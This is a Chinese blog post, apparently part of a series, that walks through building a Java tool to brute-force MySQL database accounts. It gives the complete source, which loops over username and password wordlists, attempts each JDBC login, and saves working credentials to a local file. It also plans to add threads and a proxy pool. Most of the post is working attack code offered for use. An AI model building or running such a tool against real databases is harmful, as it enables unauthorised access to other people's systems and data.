记-一个数据库密码爆破工具的成长历程(2)

数据库密码爆破工具的优化

  1. 使用scanner从控制台读取字典位置和数据库位置
  2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
  3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
  4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
  5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
  6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

目前代码:

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc1 = new Scanner(System.in);
        System.out.println("请输入爆破字典地址(绝对路径)");
        String zdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("请输入数据库地址(jdbc格式)");
        String sqladd = sc2.next();
        String path = zdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = sqladd;
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

第一步的优化已经完成,现在就要进行第二步。

第二步和第三步我想做的都是把获得的结果输入到文件中,要做到这一步,需要使用到一个文件写入。

也就是下面这行代码:

FileWriter fw = new FileWriter("C://a/gpasswd.txt");                  BufferedWriter bw = new BufferedWriter(fw);                    
bw.write("数据库地址是:"+url+"
");
bw.write("数据库账号是:"+username+"
");                    
bw.write("数据库密码是:"+s+"
");                    
bw.close();
fw.close();

第一行是指定了文件写入的位置,第二行则创建了一个文件写入的对象。然后就是很简单,加上注释之后,把辊间的信息写入到文件之中,然后释放资源。

所以,在添加了这些之后,代码就会变成下面这样。

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc1 = new Scanner(System.in);
        System.out.println("请输入爆破字典地址(绝对路径)");
        String zdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("请输入数据库地址(jdbc格式)");
        String sqladd = sc2.next();
        String path = zdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = sqladd;
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                    BufferedWriter bw = new BufferedWriter(fw);
                    bw.write("数据库地址是:"+url+"
");
                    bw.write("数据库账号是:"+username+"
");
                    bw.write("数据库密码是:"+s+"
");
                    bw.close();
                    fw.close();
                } catch (ClassNotFoundException | SQLException e) {
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后就是第四步了,也就是到目前位置,我们爆破仅限于密码,并没有对用户名同时进行一个爆破,所以,这里就要尝试进行用户名的爆破。

这一步其实要做到很简单,因为我们之前已经完成了定义字典的位置,然后利用bufferedReader将里面的内容读取出来,现在只是多增加一个字典的读取,然后将外界的循环变成两个就可以了。

通俗一点,就是两个循环的嵌套。

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc = new Scanner(System.in);
        System.out.println("请输入用户名爆破字典地址(绝对路径)");
        String unadd = sc.next();
        Scanner sc1 = new Scanner(System.in);
        System.out.println("请输入密码爆破字典地址(绝对路径)");
        String pdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("请输入数据库地址(jdbc格式)");
        String sqladd = sc2.next();
        String path1 = unadd;
        File file1 = new File(path1);
        StringBuilder result1 = new StringBuilder();
        String path = pdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br1 = new BufferedReader(new InputStreamReader(new FileInputStream(file1),"UTF-8"));
            String s1 = null;
            while((s1 = br1.readLine())!=null) {
                result1.append(System.lineSeparator() + s1);

                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = s1;
                        String password = s;
                        Connection conn = DriverManager.getConnection(url, username, password);
                        FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                        BufferedWriter bw = new BufferedWriter(fw);
                        bw.write("数据库地址是:" + url + "
");
                        bw.write("数据库账号是:" + username + "
");
                        bw.write("数据库密码是:" + s + "
");
                        bw.close();
                        fw.close();
                    } catch (ClassNotFoundException | SQLException e) {
                    }
                }
                br.close();
            }
            br1.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

到了这一步,一个简单的Mysql数据库账号密码的爆破工具已经结束了。目前来说,这个工具的实用性不高,只能针对于mysql数据库,后面如果有一些别的思路,会针对这个工具再进行修改。

针对于多线程等问题,过段时间会再进行修复。

原文地址:https://www.cnblogs.com/Xiaoming0/p/14125959.html